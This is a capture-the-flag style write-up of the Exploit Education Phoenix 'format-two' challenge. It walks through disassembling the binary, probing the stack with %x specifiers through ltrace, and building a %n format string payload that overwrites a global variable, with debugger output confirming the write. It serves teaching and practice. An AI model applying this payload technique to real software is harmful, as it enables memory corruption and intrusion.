Saturday, March 6, 2025

Exploit Education Phoenix x86 Format Two


#Table of Contents

#Introduction

Format Two is the continuation of the format string vulnerability challenges.

#Recon

$ r2 /opt/phoenix/i486/format-two
[0x08048380]> aas
Cannot analyze at 0x08048620
[0x08048380]> afl
0x080482fc    1 17           sym._init
0x080484d0    7 277  -> 112  sym.frame_dummy
0x080485e0    5 49           sym.__do_global_ctors_aux
0x08048611    1 12           sym._fini
0x08048450    8 113  -> 111  sym.__do_global_dtors_aux
0x08048114   44 524  -> 608  sym..interp
0x08048380    1 62           entry0
0x08048370    1 6            sym.imp.__libc_start_main
0x080486c4    1 14           loc.__GNU_EH_FRAME_HDR
0x080486e8    3 34           sym..eh_frame
0x08048724    1 10           obj.__EH_FRAME_BEGIN
0x080483c0    4 49   -> 40   sym.deregister_tm_clones
0x0804876c    1 4            obj.__FRAME_END
0x0804852c    6 172          main
0x08048515    1 23           sym.bounce
0x08048320    1 6            sym.imp.printf
0x08048330    1 6            sym.imp.puts
0x08048340    1 6            sym.imp.strncpy
0x08048350    1 6            sym.imp.memset
0x08048360    1 6            sym.imp.exit
[0x08048380]> s main
[0x0804852c]> pdf
/ (fcn) main 172
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_108h @ ebp-0x108
|           ; arg int32_t arg_4h @ esp+0x4
|           ; DATA XREF from entry0 @ 0x80483b4
|           0x0804852c      8d4c2404       lea ecx, [arg_4h]
|           0x08048530      83e4f0         and esp, 0xfffffff0
|           0x08048533      ff71fc         push dword [ecx - 4]
|           0x08048536      55             push ebp
|           0x08048537      89e5           mov ebp, esp
|           0x08048539      53             push ebx
|           0x0804853a      51             push ecx
|           0x0804853b      81ec00010000   sub esp, 0x100
|           0x08048541      89cb           mov ebx, ecx
|           0x08048543      83ec0c         sub esp, 0xc
|           0x08048546      6820860408     push str.Welcome_to_phoenix_format_two__brought_to_you_by_https:__exploit.education ; sym..rodata
|                                                                      ; 0x8048620 ; "Welcome to phoenix/format-two, brought to you by https://exploit.education"
|           0x0804854b      e8e0fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048550      83c410         add esp, 0x10
|           0x08048553      833b01         cmp dword [ebx], 1
|       ,=< 0x08048556      7e4b           jle 0x80485a3
|       |   0x08048558      83ec04         sub esp, 4
|       |   0x0804855b      6800010000     push 0x100                  ; 256
|       |   0x08048560      6a00           push 0
|       |   0x08048562      8d85f8feffff   lea eax, [var_108h]
|       |   0x08048568      50             push eax
|       |   0x08048569      e8e2fdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|       |   0x0804856e      83c410         add esp, 0x10
|       |   0x08048571      8b4304         mov eax, dword [ebx + 4]
|       |   0x08048574      83c004         add eax, 4
|       |   0x08048577      8b00           mov eax, dword [eax]
|       |   0x08048579      83ec04         sub esp, 4
|       |   0x0804857c      6800010000     push 0x100                  ; 256
|       |   0x08048581      50             push eax
|       |   0x08048582      8d85f8feffff   lea eax, [var_108h]
|       |   0x08048588      50             push eax
|       |   0x08048589      e8b2fdffff     call sym.imp.strncpy        ; char *strncpy(char *dest, const char *src, size_t  n)
|       |   0x0804858e      83c410         add esp, 0x10
|       |   0x08048591      83ec0c         sub esp, 0xc
|       |   0x08048594      8d85f8feffff   lea eax, [var_108h]
|       |   0x0804859a      50             push eax
|       |   0x0804859b      e875ffffff     call sym.bounce
|       |   0x080485a0      83c410         add esp, 0x10
|       `-> 0x080485a3      a168980408     mov eax, dword [obj.changeme] ; [0x8049868:4]=0
|           0x080485a8      85c0           test eax, eax
|       ,=< 0x080485aa      7412           je 0x80485be
|       |   0x080485ac      83ec0c         sub esp, 0xc
|       |   0x080485af      686c860408     push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x804866c ; "Well done, the 'changeme' variable has been changed correctly!"
|       |   0x080485b4      e877fdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x080485b9      83c410         add esp, 0x10
|      ,==< 0x080485bc      eb10           jmp 0x80485ce
|      |`-> 0x080485be      83ec0c         sub esp, 0xc
|      |    0x080485c1      68ab860408     push str.Better_luck_next_time ; 0x80486ab ; "Better luck next time!\n"
|      |    0x080485c6      e865fdffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x080485cb      83c410         add esp, 0x10
|      |    ; CODE XREF from main @ 0x80485bc
|      `--> 0x080485ce      83ec0c         sub esp, 0xc
|           0x080485d1      6a00           push 0
\           0x080485d3      e888fdffff     call sym.imp.exit           ; void exit(int status)
[0x0804852c]> agf
[0x0804852c]>  # int main (int argc, char **argv, char **envp);
                       .----------------------------------------------------------------------------------------.
                       |  0x804852c                                                                             |
                       | (fcn) main 172                                                                         |
                       |   int main (int argc, char **argv, char **envp);                                       |
                       | ; var int32_t var_108h @ ebp-0x108                                                     |
                       | ; arg int32_t arg_4h @ esp+0x4                                                         |
                       | ; DATA XREF from entry0 @ 0x80483b4                                                    |
                       | lea ecx, [arg_4h]                                                                      |
                       | and esp, 0xfffffff0                                                                    |
                       | push dword [ecx - 4]                                                                   |
                       | push ebp                                                                               |
                       | mov ebp, esp                                                                           |
                       | push ebx                                                                               |
                       | push ecx                                                                               |
                       | sub esp, 0x100                                                                         |
                       | mov ebx, ecx                                                                           |
                       | sub esp, 0xc                                                                           |
                       | ; sym..rodata                                                                          |
                       | ; 0x8048620                                                                            |
                       | ; "Welcome to phoenix/format-two, brought to you by https://exploit.education"         |
                       | push str.Welcome_to_phoenix_format_two__brought_to_you_by_https:__exploit.education    |
                       | ; int puts(const char *s)                                                              |
                       | call sym.imp.puts;[oa]                                                                 |
                       | add esp, 0x10                                                                          |
                       | cmp dword [ebx], 1                                                                     |
                       | jle 0x80485a3                                                                          |
                       `----------------------------------------------------------------------------------------'
                               f t
                               | |
                               | '---------------------------------------------------.
                           .---'                                                     |
                       .---------------------------------------------------------.   |
                       |  0x8048558                                              |   |
                       | sub esp, 4                                              |   |
                       | ; 256                                                   |   |
                       | push 0x100                                              |   |
                       | push 0                                                  |   |
                       | lea eax, [var_108h]                                     |   |
                       | push eax                                                |   |
                       | ; void *memset(void *s, int c, size_t n)                |   |
                       | call sym.imp.memset;[ob]                                |   |
                       | add esp, 0x10                                           |   |
                       | mov eax, dword [ebx + 4]                                |   |
                       | add eax, 4                                              |   |
                       | mov eax, dword [eax]                                    |   |
                       | sub esp, 4                                              |   |
                       | ; 256                                                   |   |
                       | push 0x100                                              |   |
                       | push eax                                                |   |
                       | lea eax, [var_108h]                                     |   |
                       | push eax                                                |   |
                       | ; char *strncpy(char *dest, const char *src, size_t  n) |   |
                       | call sym.imp.strncpy;[oc]                               |   |
                       | add esp, 0x10                                           |   |
                       | sub esp, 0xc                                            |   |
                       | lea eax, [var_108h]                                     |   |
                       | push eax                                                |   |
                       | call sym.bounce;[od]                                    |   |
                       | add esp, 0x10                                           |   |
                       `---------------------------------------------------------'   |
                           v                                                         |
                           |                                                         |
                           '----------------------------.                            |
                                                        | .--------------------------'
                                                        | |
                                                  .----------------------------------.
                                                  |  0x80485a3                       |
                                                  | ; [0x8049868:4]=0                |
                                                  | mov eax, dword [obj.changeme]    |
                                                  | test eax, eax                    |
                                                  | je 0x80485be                     |
                                                  `----------------------------------'
                                                          f t
                                                          | |
                                                          | '-----------------------.
    .-----------------------------------------------------'                         |
    |                                                                               |
.---------------------------------------------------------------------------.   .-----------------------------------.
|  0x80485ac                                                                |   |  0x80485be                        |
| sub esp, 0xc                                                              |   | sub esp, 0xc                      |
| ; 0x804866c                                                               |   | ; 0x80486ab                       |
| ; "Well done, the 'changeme' variable has been changed correctly!"        |   | ; "Better luck next time!\n"      |
| push str.Well_done__the__changeme__variable_has_been_changed_correctly    |   | push str.Better_luck_next_time    |
| ; int puts(const char *s)                                                 |   | ; int puts(const char *s)         |
| call sym.imp.puts;[oa]                                                    |   | call sym.imp.puts;[oa]            |
| add esp, 0x10                                                             |   | add esp, 0x10                     |
| jmp 0x80485ce                                                             |   `-----------------------------------'
`---------------------------------------------------------------------------'       v
    v                                                                               |
    |                                                                               |
    '---------------------------------------------------.                           |
                                                        | .-------------------------'
                                                        | |
                                                  .-----------------------------------.
                                                  |  0x80485ce                        |
                                                  | ; CODE XREF from main @ 0x80485bc |
                                                  | sub esp, 0xc                      |
                                                  | push 0                            |
                                                  | ; void exit(int status)           |
                                                  | call sym.imp.exit;[oe]            |
                                                  `-----------------------------------'
[0x0804852c]> pdf @ sym.bounce 
/ (fcn) sym.bounce 23
|   sym.bounce (int32_t arg_8h);
|           ; arg int32_t arg_8h @ ebp+0x8
|           ; CALL XREF from main @ 0x804859b
|           0x08048515      55             push ebp
|           0x08048516      89e5           mov ebp, esp
|           0x08048518      83ec08         sub esp, 8
|           0x0804851b      83ec0c         sub esp, 0xc
|           0x0804851e      ff7508         push dword [arg_8h]
|           0x08048521      e8fafdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048526      83c410         add esp, 0x10
|           0x08048529      90             nop
|           0x0804852a      c9             leave
\           0x0804852b      c3             ret

There are a few things to break down:

  1. The binary needs an argument.
  2. The argument is copied into a buffer, which is set to zero beforehand.
  3. There is a call to sym.bounce, which simply calls printf with the buffer as a format string.
  4. The objective is to overwrite the variable obj.changeme with an arbitrary value.

#Exploit

Due to the simplicity of this level, ltrace should offer enough help to exploit this vulnerability.

The methodology is as follows:

  1. Execute the binary with ltrace and as an argument write 4 bytes (e.g. AAAA) followed by one %x.
  2. If the 4 bytes that were written firstly are shown in the output, stop.
  3. Otherwise, append another %x.
  4. Repeat from step two.
$ ltrace /opt/phoenix/i486/format-two AAAA%x
__libc_start_main(0x804852c, 2, 0xffdb3ea4, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
)                                                 = 0
memset(0xffdb3d10, '\0', 256)                                                               = 0xffdb3d10
strncpy(0xffdb3d10, "AAAA%x", 256)                                                          = 0xffdb3d10
printf("AAAA%x", 0xffdb463b)                                                                = 12
puts("Better luck next time!\n"AAAAffdb463bBetter luck next time!

)                                                            = 0
exit(0 <no return ...>
+++ exited (status 0) +++
$ ltrace /opt/phoenix/i486/format-two AAAA%x%x
__libc_start_main(0x804852c, 2, 0xff943e84, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
)                                                 = 0
memset(0xff943cf0, '\0', 256)                                                               = 0xff943cf0
strncpy(0xff943cf0, "AAAA%x%x", 256)                                                        = 0xff943cf0
printf("AAAA%x%x", 0xff944639, 0x100)                                                       = 15
puts("Better luck next time!\n"AAAAff944639100Better luck next time!

)                                                            = 0
exit(0 <no return ...>
+++ exited (status 0) +++

Skipping to the result:

$ ltrace /opt/phoenix/i486/format-two AAAA%x%x%x%x%x%x%x%x%x%x%x%x
__libc_start_main(0x804852c, 2, 0xffc11ff4, 0x80482fc <unfinished ...>
puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought to you by https://exploit.education
)                                                 = 0
memset(0xffc11e60, '\0', 256)                                                               = 0xffc11e60
strncpy(0xffc11e60, "AAAA%x%x%x%x%x%x%x%x%x%x%x%x", 256)                                    = 0xffc11e60
printf("AAAA%x%x%x%x%x%x%x%x%x%x%x%x", 0xffc13625, 0x100, 0, 0xf7ee6b67, 0xffc11f80, 0xffc11f68, 0x80485a0, 0xffc11e60, 0xffc13625, 0x100, 0x3e8, 0x41414141) = 77
puts("Better luck next time!\n"AAAAffc136251000f7ee6b67ffc11f80ffc11f6880485a0ffc11e60ffc136251003e841414141Better luck next time!

)                                                            = 0
exit(0 <no return ...>
+++ exited (status 0) +++

Note the last 4 bytes at the line that starts with printf.

Afterwards, the first 4 bytes are replaced with the address of obj.changeme, the last %x is replaced with %n and the one before that is replaced with %8x. In order to write 4 bytes the %x specifier must be %8x, which will pad the output of %x to 8 characters (i.e. 4 bytes).

The address of obj.changeme can be obtained as follows:

[0x08048380]> px/xw @ obj.changeme
0x08049868  0x00000000                                   ....

Debugging the binary with the final exploit:

$ r2 -d /opt/phoenix/i486/format-two $(printf "\x68\x98\x04\x08")%x%x%x%x%x%x%x%x%x%x%8x%n
[0xf7f56d4b]> aas
Cannot analyze at 0x08048620
[0xf7f56d4b]> db 0x0804859b
[0xf7f56d4b]> dc
Welcome to phoenix/format-two, brought to you by https://exploit.education
hit breakpoint at: 804859b
[0x0804859b]> dr
eax = 0xff84fb90
ebx = 0xff84fcb0
ecx = 0x00000000
edx = 0x00000003
esi = 0xff84fd24
edi = 0x00000002
esp = 0xff84fb80
ebp = 0xff84fc98
eip = 0x0804859b
eflags = 0x00000296
oeax = 0xffffffff
[0x0804859b]> px/12xw 0xff84fb80
0xff84fb80  0xff84fb90 0xff8505f1 0x00000100 0x000003e8  ................
0xff84fb90  0x08049868 0x78257825 0x78257825 0x78257825  h...%x%x%x%x%x%x
0xff84fba0  0x78257825 0x78257825 0x25783825 0x0000006e  %x%x%x%x%8x%n...
[0x0804859b]> px/xw @ obj.changeme
0x08049868  0x00000000                                   ....
[0x0804859b]> dso
hit breakpoint at: 80485a0
[0x0804859b]> px/12xw 0xff84fb80
0xff84fb80  0xff84fb90 0xff8505f1 0x00000100 0x000003e8  ................
0xff84fb90  0x08049868 0x78257825 0x78257825 0x78257825  h...%x%x%x%x%x%x
0xff84fba0  0x78257825 0x78257825 0x25783825 0x0000006e  %x%x%x%x%8x%n...
[0x0804859b]> px/xw @ obj.changeme
0x08049868  0x0000004a                                   J...
[0x0804859b]> dc
hff8505f11000f7f15b67ff84fcb0ff84fc9880485a0ff84fb90ff8505f1100     3e8Well done, the 'changeme' variable has been changed correctly!

#Conclusion

This level required the attacker to exploit a format string vulnerability to overwrite a specific variable with an arbitrary value.